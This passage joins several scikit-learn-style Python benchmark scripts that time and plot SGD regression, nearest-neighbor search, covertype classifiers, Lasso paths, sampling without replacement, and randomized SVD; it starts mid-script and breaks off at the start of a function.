                               eta0=.01, power_t=0.25)

            tstart = time()
            clf.fit(X_train, y_train)
            sgd_results[i, j, 0] = mean_squared_error(clf.predict(X_test),
                                                     y_test)
            sgd_results[i, j, 1] = time() - tstart

            gc.collect()
            print("n_iter", n_iter)
            print("- benchmarking A-SGD")
            n_iter = np.ceil(10 ** 4.0 / n_train)
            clf = SGDRegressor(alpha=alpha / n_train, fit_intercept=False,
                               n_iter=n_iter, learning_rate="invscaling",
                               eta0=.002, power_t=0.05,
                               average=(n_iter * n_train // 2))

            tstart = time()
            clf.fit(X_train, y_train)
            asgd_results[i, j, 0] = mean_squared_error(clf.predict(X_test),
                                                       y_test)
            asgd_results[i, j, 1] = time() - tstart

            gc.collect()
            print("- benchmarking RidgeRegression")
            clf = Ridge(alpha=alpha, fit_intercept=False)
            tstart = time()
            clf.fit(X_train, y_train)
            ridge_results[i, j, 0] = mean_squared_error(clf.predict(X_test),
                                                       y_test)
            ridge_results[i, j, 1] = time() - tstart

    # Plot results
    i = 0
    m = len(list_n_features)
    plt.figure('scikit-learn SGD regression benchmark results',
               figsize=(5 * 2, 4 * m))
    for j in range(m):
        plt.subplot(m, 2, i + 1)
        plt.plot(list_n_samples, np.sqrt(elnet_results[:, j, 0]),
                 label="ElasticNet")
        plt.plot(list_n_samples, np.sqrt(sgd_results[:, j, 0]),
                 label="SGDRegressor")
        plt.plot(list_n_samples, np.sqrt(asgd_results[:, j, 0]),
                 label="A-SGDRegressor")
        plt.plot(list_n_samples, np.sqrt(ridge_results[:, j, 0]),
                 label="Ridge")
        plt.legend(prop={"size": 10})
        plt.xlabel("n_train")
        plt.ylabel("RMSE")
        plt.title("Test error - %d features" % list_n_features[j])
        i += 1

        plt.subplot(m, 2, i + 1)
        plt.plot(list_n_samples, np.sqrt(elnet_results[:, j, 1]),
                 label="ElasticNet")
        plt.plot(list_n_samples, np.sqrt(sgd_results[:, j, 1]),
                 label="SGDRegressor")
        plt.plot(list_n_samples, np.sqrt(asgd_results[:, j, 1]),
                 label="A-SGDRegressor")
        plt.plot(list_n_samples, np.sqrt(ridge_results[:, j, 1]),
                 label="Ridge")
        plt.legend(prop={"size": 10})
        plt.xlabel("n_train")
        plt.ylabel("Time [sec]")
        plt.title("Training time - %d features" % list_n_features[j])
        i += 1

    plt.subplots_adjust(hspace=.30)

    plt.show()






"""
Plot the scaling of the nearest neighbors algorithms with k, D, and N
"""
from time import time

import numpy as np
import matplotlib.pyplot as plt
from matplotlib import ticker

from sklearn import neighbors, datasets


def get_data(N, D, dataset='dense'):
    if dataset == 'dense':
        np.random.seed(0)
        return np.random.random((N, D))
    elif dataset == 'digits':
        X = datasets.load_digits().data
        i = np.argsort(X[0])[::-1]
        X = X[:, i]
        return X[:N, :D]
    else:
        raise ValueError("invalid dataset: %s" % dataset)


def barplot_neighbors(Nrange=2 ** np.arange(1, 11),
                      Drange=2 ** np.arange(7),
                      krange=2 ** np.arange(10),
                      N=1000,
                      D=64,
                      k=5,
                      leaf_size=30,
                      dataset='digits'):
    algorithms = ('kd_tree', 'brute', 'ball_tree')
    fiducial_values = {'N': N,
                       'D': D,
                       'k': k}

    #------------------------------------------------------------
    # varying N
    N_results_build = dict([(alg, np.zeros(len(Nrange)))
                            for alg in algorithms])
    N_results_query = dict([(alg, np.zeros(len(Nrange)))
                            for alg in algorithms])

    for i, NN in enumerate(Nrange):
        print("N = %i (%i out of %i)" % (NN, i + 1, len(Nrange)))
        X = get_data(NN, D, dataset)
        for algorithm in algorithms:
            nbrs = neighbors.NearestNeighbors(n_neighbors=min(NN, k),
                                              algorithm=algorithm,
                                              leaf_size=leaf_size)
            t0 = time()
            nbrs.fit(X)
            t1 = time()
            nbrs.kneighbors(X)
            t2 = time()

            N_results_build[algorithm][i] = (t1 - t0)
            N_results_query[algorithm][i] = (t2 - t1)

    #------------------------------------------------------------
    # varying D
    D_results_build = dict([(alg, np.zeros(len(Drange)))
                            for alg in algorithms])
    D_results_query = dict([(alg, np.zeros(len(Drange)))
                            for alg in algorithms])

    for i, DD in enumerate(Drange):
        print("D = %i (%i out of %i)" % (DD, i + 1, len(Drange)))
        X = get_data(N, DD, dataset)
        for algorithm in algorithms:
            nbrs = neighbors.NearestNeighbors(n_neighbors=k,
                                              algorithm=algorithm,
                                              leaf_size=leaf_size)
            t0 = time()
            nbrs.fit(X)
            t1 = time()
            nbrs.kneighbors(X)
            t2 = time()

            D_results_build[algorithm][i] = (t1 - t0)
            D_results_query[algorithm][i] = (t2 - t1)

    #------------------------------------------------------------
    # varying k
    k_results_build = dict([(alg, np.zeros(len(krange)))
                            for alg in algorithms])
    k_results_query = dict([(alg, np.zeros(len(krange)))
                            for alg in algorithms])

    X = get_data(N, DD, dataset)

    for i, kk in enumerate(krange):
        print("k = %i (%i out of %i)" % (kk, i + 1, len(krange)))
        for algorithm in algorithms:
            nbrs = neighbors.NearestNeighbors(n_neighbors=kk,
                                              algorithm=algorithm,
                                              leaf_size=leaf_size)
            t0 = time()
            nbrs.fit(X)
            t1 = time()
            nbrs.kneighbors(X)
            t2 = time()

            k_results_build[algorithm][i] = (t1 - t0)
            k_results_query[algorithm][i] = (t2 - t1)

    plt.figure(figsize=(8, 11))

    for (sbplt, vals, quantity,
         build_time, query_time) in [(311, Nrange, 'N',
                                      N_results_build,
                                      N_results_query),
                                     (312, Drange, 'D',
                                      D_results_build,
                                      D_results_query),
                                     (313, krange, 'k',
                                      k_results_build,
                                      k_results_query)]:
        ax = plt.subplot(sbplt, yscale='log')
        plt.grid(True)

        tick_vals = []
        tick_labels = []

        bottom = 10 ** np.min([min(np.floor(np.log10(build_time[alg])))
                               for alg in algorithms])

        for i, alg in enumerate(algorithms):
            xvals = 0.1 + i * (1 + len(vals)) + np.arange(len(vals))
            width = 0.8

            c_bar = plt.bar(xvals, build_time[alg] - bottom,
                            width, bottom, color='r')
            q_bar = plt.bar(xvals, query_time[alg],
                            width, build_time[alg], color='b')

            tick_vals += list(xvals + 0.5 * width)
            tick_labels += ['%i' % val for val in vals]

            plt.text((i + 0.02) / len(algorithms), 0.98, alg,
                     transform=ax.transAxes,
                     ha='left',
                     va='top',
                     bbox=dict(facecolor='w', edgecolor='w', alpha=0.5))

            plt.ylabel('Time (s)')

        ax.xaxis.set_major_locator(ticker.FixedLocator(tick_vals))
        ax.xaxis.set_major_formatter(ticker.FixedFormatter(tick_labels))

        for label in ax.get_xticklabels():
            label.set_rotation(-90)
            label.set_fontsize(10)

        title_string = 'Varying %s' % quantity

        descr_string = ''

        for s in 'NDk':
            if s == quantity:
                pass
            else:
                descr_string += '%s = %i, ' % (s, fiducial_values[s])

        descr_string = descr_string[:-2]

        plt.text(1.01, 0.5, title_string,
                 transform=ax.transAxes, rotation=-90,
                 ha='left', va='center', fontsize=20)

        plt.text(0.99, 0.5, descr_string,
                 transform=ax.transAxes, rotation=-90,
                 ha='right', va='center')

        plt.gcf().suptitle("%s data set" % dataset.capitalize(), fontsize=16)

    plt.figlegend((c_bar, q_bar), ('construction', 'N-point query'),
                  'upper right')

if __name__ == '__main__':
    barplot_neighbors(dataset='digits')
    barplot_neighbors(dataset='dense')
    plt.show()






"""
===========================
Covertype dataset benchmark
===========================

Benchmark stochastic gradient descent (SGD), Liblinear, and Naive Bayes, CART
(decision tree), RandomForest and Extra-Trees on the forest covertype dataset
of Blackard, Jock, and Dean [1]. The dataset comprises 581,012 samples. It is
low dimensional with 54 features and a sparsity of approx. 23%. Here, we
consider the task of predicting class 1 (spruce/fir). The classification
performance of SGD is competitive with Liblinear while being two orders of
magnitude faster to train::

    [..]
    Classification performance:
    ===========================
    Classifier   train-time test-time error-rate
    --------------------------------------------
    liblinear     15.9744s    0.0705s     0.2305
    GaussianNB    3.0666s     0.3884s     0.4841
    SGD           1.0558s     0.1152s     0.2300
    CART          79.4296s    0.0523s     0.0469
    RandomForest  1190.1620s  0.5881s     0.0243
    ExtraTrees    640.3194s   0.6495s     0.0198

The same task has been used in a number of papers including:

 * `"SVM Optimization: Inverse Dependence on Training Set Size"
   <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.139.2112>`_
   S. Shalev-Shwartz, N. Srebro - In Proceedings of ICML '08.

 * `"Pegasos: Primal estimated sub-gradient solver for svm"
   <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.74.8513>`_
   S. Shalev-Shwartz, Y. Singer, N. Srebro - In Proceedings of ICML '07.

 * `"Training Linear SVMs in Linear Time"
   <www.cs.cornell.edu/People/tj/publications/joachims_06a.pdf>`_
   T. Joachims - In SIGKDD '06

[1] http://archive.ics.uci.edu/ml/datasets/Covertype

"""
from __future__ import division, print_function

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#         Arnaud Joly <arnaud.v.joly@gmail.com>
# License: BSD 3 clause

import os
from time import time
import argparse
import numpy as np

from sklearn.datasets import fetch_covtype, get_data_home
from sklearn.svm import LinearSVC
from sklearn.linear_model import SGDClassifier, LogisticRegression
from sklearn.naive_bayes import GaussianNB
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.metrics import zero_one_loss
from sklearn.externals.joblib import Memory
from sklearn.utils import check_array

# Memoize the data extraction and memory map the resulting
# train / test splits in readonly mode
memory = Memory(os.path.join(get_data_home(), 'covertype_benchmark_data'),
                mmap_mode='r')


@memory.cache
def load_data(dtype=np.float32, order='C', random_state=13):
    """Load the data, then cache and memmap the train/test split"""
    ######################################################################
    # Load dataset
    print("Loading dataset...")
    data = fetch_covtype(download_if_missing=True, shuffle=True,
                         random_state=random_state)
    X = check_array(data['data'], dtype=dtype, order=order)
    y = (data['target'] != 1).astype(np.int)

    # Create train-test split (as [Joachims, 2006])
    print("Creating train-test split...")
    n_train = 522911
    X_train = X[:n_train]
    y_train = y[:n_train]
    X_test = X[n_train:]
    y_test = y[n_train:]

    # Standardize first 10 features (the numerical ones)
    mean = X_train.mean(axis=0)
    std = X_train.std(axis=0)
    mean[10:] = 0.0
    std[10:] = 1.0
    X_train = (X_train - mean) / std
    X_test = (X_test - mean) / std
    return X_train, X_test, y_train, y_test


ESTIMATORS = {
    'GBRT': GradientBoostingClassifier(n_estimators=250),
    'ExtraTrees': ExtraTreesClassifier(n_estimators=20),
    'RandomForest': RandomForestClassifier(n_estimators=20),
    'CART': DecisionTreeClassifier(min_samples_split=5),
    'SGD': SGDClassifier(alpha=0.001, n_iter=2),
    'GaussianNB': GaussianNB(),
    'liblinear': LinearSVC(loss="l2", penalty="l2", C=1000, dual=False,
                           tol=1e-3),
    'SAG': LogisticRegression(solver='sag', max_iter=2, C=1000)
}


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--classifiers', nargs="+",
                        choices=ESTIMATORS, type=str,
                        default=['liblinear', 'GaussianNB', 'SGD', 'CART'],
                        help="list of classifiers to benchmark.")
    parser.add_argument('--n-jobs', nargs="?", default=1, type=int,
                        help="Number of concurrently running workers for "
                             "models that support parallelism.")
    parser.add_argument('--order', nargs="?", default="C", type=str,
                        choices=["F", "C"],
                        help="Allow to choose between fortran and C ordered "
                             "data")
    parser.add_argument('--random-seed', nargs="?", default=13, type=int,
                        help="Common seed used by random number generator.")
    args = vars(parser.parse_args())

    print(__doc__)

    X_train, X_test, y_train, y_test = load_data(
        order=args["order"], random_state=args["random_seed"])

    print("")
    print("Dataset statistics:")
    print("===================")
    print("%s %d" % ("number of features:".ljust(25), X_train.shape[1]))
    print("%s %d" % ("number of classes:".ljust(25), np.unique(y_train).size))
    print("%s %s" % ("data type:".ljust(25), X_train.dtype))
    print("%s %d (pos=%d, neg=%d, size=%dMB)"
          % ("number of train samples:".ljust(25),
             X_train.shape[0], np.sum(y_train == 1),
             np.sum(y_train == 0), int(X_train.nbytes / 1e6)))
    print("%s %d (pos=%d, neg=%d, size=%dMB)"
          % ("number of test samples:".ljust(25),
             X_test.shape[0], np.sum(y_test == 1),
             np.sum(y_test == 0), int(X_test.nbytes / 1e6)))

    print()
    print("Training Classifiers")
    print("====================")
    error, train_time, test_time = {}, {}, {}
    for name in sorted(args["classifiers"]):
        print("Training %s ... " % name, end="")
        estimator = ESTIMATORS[name]
        estimator_params = estimator.get_params()

        estimator.set_params(**{p: args["random_seed"]
                                for p in estimator_params
                                if p.endswith("random_state")})

        if "n_jobs" in estimator_params:
            estimator.set_params(n_jobs=args["n_jobs"])

        time_start = time()
        estimator.fit(X_train, y_train)
        train_time[name] = time() - time_start

        time_start = time()
        y_pred = estimator.predict(X_test)
        test_time[name] = time() - time_start

        error[name] = zero_one_loss(y_test, y_pred)

        print("done")

    print()
    print("Classification performance:")
    print("===========================")
    print("%s %s %s %s"
          % ("Classifier  ", "train-time", "test-time", "error-rate"))
    print("-" * 44)
    for name in sorted(args["classifiers"], key=error.get):
        print("%s %s %s %s" % (name.ljust(12),
                               ("%.4fs" % train_time[name]).center(10),
                               ("%.4fs" % test_time[name]).center(10),
                               ("%.4f" % error[name]).center(10)))

    print()






"""Benchmarks of Lasso regularization path computation using Lars and CD

The input data is mostly low rank but is a fat infinite tail.
"""
from __future__ import print_function

from collections import defaultdict
import gc
import sys
from time import time

import numpy as np

from sklearn.linear_model import lars_path
from sklearn.linear_model import lasso_path
from sklearn.datasets.samples_generator import make_regression


def compute_bench(samples_range, features_range):

    it = 0

    results = defaultdict(lambda: [])

    max_it = len(samples_range) * len(features_range)
    for n_samples in samples_range:
        for n_features in features_range:
            it += 1
            print('====================')
            print('Iteration %03d of %03d' % (it, max_it))
            print('====================')
            dataset_kwargs = {
                'n_samples': n_samples,
                'n_features': n_features,
                'n_informative': n_features / 10,
                'effective_rank': min(n_samples, n_features) / 10,
                #'effective_rank': None,
                'bias': 0.0,
            }
            print("n_samples: %d" % n_samples)
            print("n_features: %d" % n_features)
            X, y = make_regression(**dataset_kwargs)

            gc.collect()
            print("benchmarking lars_path (with Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            G = np.dot(X.T, X)  # precomputed Gram matrix
            Xy = np.dot(X.T, y)
            lars_path(X, y, Xy=Xy, Gram=G, method='lasso')
            delta = time() - tstart
            print("%0.3fs" % delta)
            results['lars_path (with Gram)'].append(delta)

            gc.collect()
            print("benchmarking lars_path (without Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            lars_path(X, y, method='lasso')
            delta = time() - tstart
            print("%0.3fs" % delta)
            results['lars_path (without Gram)'].append(delta)

            gc.collect()
            print("benchmarking lasso_path (with Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            lasso_path(X, y, precompute=True)
            delta = time() - tstart
            print("%0.3fs" % delta)
            results['lasso_path (with Gram)'].append(delta)

            gc.collect()
            print("benchmarking lasso_path (without Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            lasso_path(X, y, precompute=False)
            delta = time() - tstart
            print("%0.3fs" % delta)
            results['lasso_path (without Gram)'].append(delta)

    return results


if __name__ == '__main__':
    from mpl_toolkits.mplot3d import axes3d  # register the 3d projection
    import matplotlib.pyplot as plt

    samples_range = np.linspace(10, 2000, 5).astype(np.int)
    features_range = np.linspace(10, 2000, 5).astype(np.int)
    results = compute_bench(samples_range, features_range)

    max_time = max(max(t) for t in results.values())

    fig = plt.figure('scikit-learn Lasso path benchmark results')
    i = 1
    for c, (label, timings) in zip('bcry', sorted(results.items())):
        ax = fig.add_subplot(2, 2, i, projection='3d')
        X, Y = np.meshgrid(samples_range, features_range)
        Z = np.asarray(timings).reshape(samples_range.shape[0],
                                        features_range.shape[0])

        # plot the actual surface
        ax.plot_surface(X, Y, Z.T, cstride=1, rstride=1, color=c, alpha=0.8)

        # dummy point plot to stick the legend to since surface plot do not
        # support legends (yet?)
        # ax.plot([1], [1], [1], color=c, label=label)

        ax.set_xlabel('n_samples')
        ax.set_ylabel('n_features')
        ax.set_zlabel('Time (s)')
        ax.set_zlim3d(0.0, max_time * 1.1)
        ax.set_title(label)
        # ax.legend()
        i += 1
    plt.show()






"""
Benchmarks for sampling without replacement of integer.

"""
from __future__ import division
from __future__ import print_function

import gc
import sys
import optparse
from datetime import datetime
import operator

import matplotlib.pyplot as plt
import numpy as np
import random

from sklearn.externals.six.moves import xrange
from sklearn.utils.random import sample_without_replacement


def compute_time(t_start, delta):
    mu_second = 0.0 + 10 ** 6  # number of microseconds in a second

    return delta.seconds + delta.microseconds / mu_second


def bench_sample(sampling, n_population, n_samples):
    gc.collect()
    # start time
    t_start = datetime.now()
    sampling(n_population, n_samples)
    delta = (datetime.now() - t_start)
    # stop time
    time = compute_time(t_start, delta)
    return time

if __name__ == "__main__":
    ###########################################################################
    # Option parser
    ###########################################################################
    op = optparse.OptionParser()
    op.add_option("--n-times",
                  dest="n_times", default=5, type=int,
                  help="Benchmark results are average over n_times experiments")

    op.add_option("--n-population",
                  dest="n_population", default=100000, type=int,
                  help="Size of the population to sample from.")

    op.add_option("--n-step",
                  dest="n_steps", default=5, type=int,
                  help="Number of step interval between 0 and n_population.")

    default_algorithms = "custom-tracking-selection,custom-auto," \
                         "custom-reservoir-sampling,custom-pool,"\
                         "python-core-sample,numpy-permutation"

    op.add_option("--algorithm",
                  dest="selected_algorithm",
                  default=default_algorithms,
                  type=str,
                  help="Comma-separated list of transformer to benchmark. "
                       "Default: %default. \nAvailable: %default")

    # op.add_option("--random-seed",
    #               dest="random_seed", default=13, type=int,
    #               help="Seed used by the random number generators.")

    (opts, args) = op.parse_args()
    if len(args) > 0:
        op.error("this script takes no arguments.")
        sys.exit(1)

    selected_algorithm = opts.selected_algorithm.split(',')
    for key in selected_algorithm:
        if key not in default_algorithms.split(','):
            raise ValueError("Unknown sampling algorithm \"%s\" not in (%s)."
                             % (key, default_algorithms))

    ###########################################################################
    # List sampling algorithm
    ###########################################################################
    # We assume that sampling algorithm has the following signature:
    #   sample(n_population, n_sample)
    #
    sampling_algorithm = {}

    ###########################################################################
    # Set Python core input
    sampling_algorithm["python-core-sample"] = \
        lambda n_population, n_sample: \
            random.sample(xrange(n_population), n_sample)

   ###########################################################################
    # Set custom automatic method selection
    sampling_algorithm["custom-auto"] = \
        lambda n_population, n_samples, random_state=None: \
            sample_without_replacement(n_population,
                                       n_samples,
                                       method="auto",
                                       random_state=random_state)

    ###########################################################################
    # Set custom tracking based method
    sampling_algorithm["custom-tracking-selection"] = \
        lambda n_population, n_samples, random_state=None: \
            sample_without_replacement(n_population,
                                       n_samples,
                                       method="tracking_selection",
                                       random_state=random_state)

    ###########################################################################
    # Set custom reservoir based method
    sampling_algorithm["custom-reservoir-sampling"] = \
        lambda n_population, n_samples, random_state=None: \
            sample_without_replacement(n_population,
                                       n_samples,
                                       method="reservoir_sampling",
                                       random_state=random_state)

    ###########################################################################
    # Set custom reservoir based method
    sampling_algorithm["custom-pool"] = \
        lambda n_population, n_samples, random_state=None: \
            sample_without_replacement(n_population,
                                       n_samples,
                                       method="pool",
                                       random_state=random_state)

    ###########################################################################
    # Numpy permutation based
    sampling_algorithm["numpy-permutation"] = \
        lambda n_population, n_sample: \
            np.random.permutation(n_population)[:n_sample]

    ###########################################################################
    # Remove unspecified algorithm
    sampling_algorithm = dict((key, value)
                              for key, value in sampling_algorithm.items()
                              if key in selected_algorithm)

    ###########################################################################
    # Perform benchmark
    ###########################################################################
    time = {}
    n_samples = np.linspace(start=0, stop=opts.n_population,
        num=opts.n_steps).astype(np.int)

    ratio = n_samples / opts.n_population

    print('Benchmarks')
    print("===========================")

    for name in sorted(sampling_algorithm):
        print("Perform benchmarks for %s..." % name, end="")
        time[name] = np.zeros(shape=(opts.n_steps, opts.n_times))

        for step in xrange(opts.n_steps):
            for it in xrange(opts.n_times):
                time[name][step, it] = bench_sample(sampling_algorithm[name],
                                                      opts.n_population,
                                                      n_samples[step])

        print("done")

    print("Averaging results...", end="")
    for name in sampling_algorithm:
        time[name] = np.mean(time[name], axis=1)
    print("done\n")

    # Print results
    ###########################################################################
    print("Script arguments")
    print("===========================")
    arguments = vars(opts)
    print("%s \t | %s " % ("Arguments".ljust(16),
                           "Value".center(12),))
    print(25 * "-" + ("|" + "-" * 14) * 1)
    for key, value in arguments.items():
        print("%s \t | %s " % (str(key).ljust(16),
                               str(value).strip().center(12)))
    print("")

    print("Sampling algorithm performance:")
    print("===============================")
    print("Results are averaged over %s repetition(s)." % opts.n_times)
    print("")

    fig = plt.figure('scikit-learn sample w/o replacement benchmark results')
    plt.title("n_population = %s, n_times = %s" %
              (opts.n_population, opts.n_times))
    ax = fig.add_subplot(111)
    for name in sampling_algorithm:
        ax.plot(ratio, time[name], label=name)

    ax.set_xlabel('ratio of n_sample / n_population')
    ax.set_ylabel('Time (s)')
    ax.legend()

    # Sort legend labels
    handles, labels = ax.get_legend_handles_labels()
    hl = sorted(zip(handles, labels), key=operator.itemgetter(1))
    handles2, labels2 = zip(*hl)
    ax.legend(handles2, labels2, loc=0)

    plt.show()






"""
Benchmarks on the power iterations phase in randomized SVD.

We test on various synthetic and real datasets the effect of increasing
the number of power iterations in terms of quality of approximation
and running time. A number greater than 0 should help with noisy matrices,
which are characterized by a slow spectral decay.

We test several policy for normalizing the power iterations. Normalization
is crucial to avoid numerical issues.

The quality of the approximation is measured by the spectral norm discrepancy
between the original input matrix and the reconstructed one (by multiplying
the randomized_svd's outputs). The spectral norm is always equivalent to the
largest singular value of a matrix. (3) justifies this choice. However, one can
notice in these experiments that Frobenius and spectral norms behave
very similarly in a qualitative sense. Therefore, we suggest to run these
benchmarks with `enable_spectral_norm = False`, as Frobenius' is MUCH faster to
compute.

The benchmarks follow.

(a) plot: time vs norm, varying number of power iterations
    data: many datasets
    goal: compare normalization policies and study how the number of power
    iterations affect time and norm

(b) plot: n_iter vs norm, varying rank of data and number of components for
    randomized_SVD
    data: low-rank matrices on which we control the rank
    goal: study whether the rank of the matrix and the number of components
    extracted by randomized SVD affect "the optimal" number of power iterations

(c) plot: time vs norm, varing datasets
    data: many datasets
    goal: compare default configurations

We compare the following algorithms:
-   randomized_svd(..., power_iteration_normalizer='none')
-   randomized_svd(..., power_iteration_normalizer='LU')
-   randomized_svd(..., power_iteration_normalizer='QR')
-   randomized_svd(..., power_iteration_normalizer='auto')
-   fbpca.pca() from https://github.com/facebook/fbpca (if installed)

Conclusion
----------
- n_iter=2 appears to be a good default value
- power_iteration_normalizer='none' is OK if n_iter is small, otherwise LU
  gives similar errors to QR but is cheaper. That's what 'auto' implements.

References
----------
(1) Finding structure with randomness: Stochastic algorithms for constructing
    approximate matrix decompositions
    Halko, et al., 2009 http://arxiv.org/abs/arXiv:0909.4061

(2) A randomized algorithm for the decomposition of matrices
    Per-Gunnar Martinsson, Vladimir Rokhlin and Mark Tygert

(3) An implementation of a randomized algorithm for principal component
    analysis
    A. Szlam et al. 2014
"""

# Author: Giorgio Patrini

import numpy as np
import scipy as sp
import matplotlib.pyplot as plt

import gc
import pickle
from time import time
from collections import defaultdict
import os.path

from sklearn.utils import gen_batches
from sklearn.utils.validation import check_random_state
from sklearn.utils.extmath import randomized_svd
from sklearn.datasets.samples_generator import (make_low_rank_matrix,
                                                make_sparse_uncorrelated)
from sklearn.datasets import (fetch_lfw_people,
                              fetch_mldata,
                              fetch_20newsgroups_vectorized,
                              fetch_olivetti_faces,
                              fetch_rcv1)

try:
    import fbpca
    fbpca_available = True
except ImportError:
    fbpca_available = False

# If this is enabled, tests are much slower and will crash with the large data
enable_spectral_norm = False

# TODO: compute approximate spectral norms with the power method as in
# Estimating the largest eigenvalues by the power and Lanczos methods with
# a random start, Jacek Kuczynski and Henryk Wozniakowski, SIAM Journal on
# Matrix Analysis and Applications, 13 (4): 1094-1122, 1992.
# This approximation is a very fast estimate of the spectral norm, but depends
# on starting random vectors.

# Determine when to switch to batch computation for matrix norms,
# in case the reconstructed (dense) matrix is too large
MAX_MEMORY = np.int(2e9)

# The following datasets can be dowloaded manually from:
# CIFAR 10: http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz
# SVHN: http://ufldl.stanford.edu/housenumbers/train_32x32.mat
CIFAR_FOLDER = "./cifar-10-batches-py/"
SVHN_FOLDER = "./SVHN/"

datasets = ['low rank matrix', 'lfw_people', 'olivetti_faces', '20newsgroups',
            'MNIST original', 'CIFAR', 'a1a', 'SVHN', 'uncorrelated matrix']

big_sparse_datasets = ['big sparse matrix', 'rcv1']


def unpickle(file_name):
    with open(file_name, 'rb') as fo:
        return pickle.load(fo, encoding='latin1')["data"]


def handle_missing_dataset(file_folder):
    if not os.path.isdir(file_folder):
        print("%s file folder not found. Test skipped." % file_folder)
        return 0


def get_data(dataset_name):
    print("Getting dataset: %s" % dataset_name)

    if dataset_name == 'lfw_people':
        X = fetch_lfw_people().data
    elif dataset_name == '20newsgroups':
        X = fetch_20newsgroups_vectorized().data[:, :100000]
    elif dataset_name == 'olivetti_faces':
        X = fetch_olivetti_faces().data
    elif dataset_name == 'rcv1':
        X = fetch_rcv1().data
    elif dataset_name == 'CIFAR':
        if handle_missing_dataset(CIFAR_FOLDER) == "skip":
            return
        X1 = [unpickle("%sdata_batch_%d" % (CIFAR_FOLDER, i + 1))
              for i in range(5)]
        X = np.vstack(X1)
        del X1
    elif dataset_name == 'SVHN':
        if handle_missing_dataset(SVHN_FOLDER) == 0:
            return
        X1 = sp.io.loadmat("%strain_32x32.mat" % SVHN_FOLDER)['X']
        X2 = [X1[:, :, :, i].reshape(32 * 32 * 3) for i in range(X1.shape[3])]
        X = np.vstack(X2)
        del X1
        del X2
    elif dataset_name == 'low rank matrix':
        X = make_low_rank_matrix(n_samples=500, n_features=np.int(1e4),
                                 effective_rank=100, tail_strength=.5,
                                 random_state=random_state)
    elif dataset_name == 'uncorrelated matrix':
        X, _ = make_sparse_uncorrelated(n_samples=500, n_features=10000,
                                        random_state=random_state)
    elif dataset_name == 'big sparse matrix':
        sparsity = np.int(1e6)
        size = np.int(1e6)
        small_size = np.int(1e4)
        data = np.random.normal(0, 1, np.int(sparsity/10))
        data = np.repeat(data, 10)
        row = np.random.uniform(0, small_size, sparsity)
        col = np.random.uniform(0, small_size, sparsity)
        X = sp.sparse.csr_matrix((data, (row, col)), shape=(size, small_size))
        del data
        del row
        del col
    else:
        X = fetch_mldata(dataset_name).data
    return X


def plot_time_vs_s(time, norm, point_labels, title):
    plt.figure()
    colors = ['g', 'b', 'y']
    for i, l in enumerate(sorted(norm.keys())):
        if l is not "fbpca":
            plt.plot(time[l], norm[l], label=l, marker='o', c=colors.pop())
        else:
            plt.plot(time[l], norm[l], label=l, marker='^', c='red')

        for label, x, y in zip(point_labels, list(time[l]), list(norm[l])):
            plt.annotate(label, xy=(x, y), xytext=(0, -20),
                         textcoords='offset points', ha='right', va='bottom')
    plt.legend(loc="upper right")
    plt.suptitle(title)
    plt.ylabel("norm discrepancy")
    plt.xlabel("running time [s]")


def scatter_time_vs_s(time, norm, point_labels, title):
    plt.figure()
    size = 100
    for i, l in enumerate(sorted(norm.keys())):
        if l is not "fbpca":
            plt.scatter(time[l], norm[l], label=l, marker='o', c='b', s=size)
            for label, x, y in zip(point_labels, list(time[l]), list(norm[l])):
                plt.annotate(label, xy=(x, y), xytext=(0, -80),
                             textcoords='offset points', ha='right',
                             arrowprops=dict(arrowstyle="->",
                                             connectionstyle="arc3"),
                             va='bottom', size=11, rotation=90)
        else:
            plt.scatter(time[l], norm[l], label=l, marker='^', c='red', s=size)
            for label, x, y in zip(point_labels, list(time[l]), list(norm[l])):
                plt.annotate(label, xy=(x, y), xytext=(0, 30),
                             textcoords='offset points', ha='right',
                             arrowprops=dict(arrowstyle="->",
                                             connectionstyle="arc3"),
                             va='bottom', size=11, rotation=90)

    plt.legend(loc="best")
    plt.suptitle(title)
    plt.ylabel("norm discrepancy")
    plt.xlabel("running time [s]")


def plot_power_iter_vs_s(power_iter, s, title):
    plt.figure()
    for l in sorted(s.keys()):
        plt.plot(power_iter, s[l], label=l, marker='o')
    plt.legend(loc="lower right", prop={'size': 10})
    plt.suptitle(title)
    plt.ylabel("norm discrepancy")
    plt.xlabel("n_iter")


def svd_timing(X, n_comps, n_iter, n_oversamples,
               power_iteration_normalizer='auto', method=None):
    """
    Measure time for decomposition
    """
    print("... running SVD ...")
    if method is not 'fbpca':
        gc.collect()
        t0 = time()
        U, mu, V = randomized_svd(X, n_comps, n_oversamples, n_iter,
                                  power_iteration_normalizer,
                                  random_state=random_state, transpose=False)
        call_time = time() - t0
    else:
        gc.collect()
        t0 = time()
        # There is a different convention for l here
        U, mu, V = fbpca.pca(X, n_comps, raw=True, n_iter=n_iter,
                             l=n_oversamples+n_comps)
        call_time = time() - t0

    return U, mu, V, call_time


def norm_diff(A, norm=2, msg=True):
    """
    Compute the norm diff with the original matrix, when randomized
    SVD is called with *params.

    norm: 2 => spectral; 'fro' => Frobenius
    """

    if msg:
        print("... computing %s norm ..." % norm)
    if norm == 2:
        # s = sp.linalg.norm(A, ord=2)  # slow
        value = sp.sparse.linalg.svds(A, k=1, return_singular_vectors=False)
    else:
        if sp.sparse.issparse(A):
            value = sp.sparse.linalg.norm(A, ord=norm)
        else:
            value = sp.linalg.norm(A, ord=norm)
    return value


def scalable_frobenius_norm_discrepancy(X, U, s, V):
    # if the input is not too big, just call scipy
    if X.shape[0] * X.shape[1] < MAX_MEMORY:
        A = X - U.dot(np.diag(s).dot(V))
        return norm_diff(A, norm='fro')

    print("... computing fro norm by batches...")
    batch_size = 1000
    Vhat = np.diag(s).dot(V)
    cum_norm = .0
    for batch in gen_batches(X.shape[0], batch_size):
        M = X[batch, :] - U[batch, :].dot(Vhat)
        cum_norm += norm_diff(M, norm='fro', msg=False)
    return np.sqrt(cum_norm)


def bench_a(X, dataset_name, power_iter, n_oversamples, n_comps):

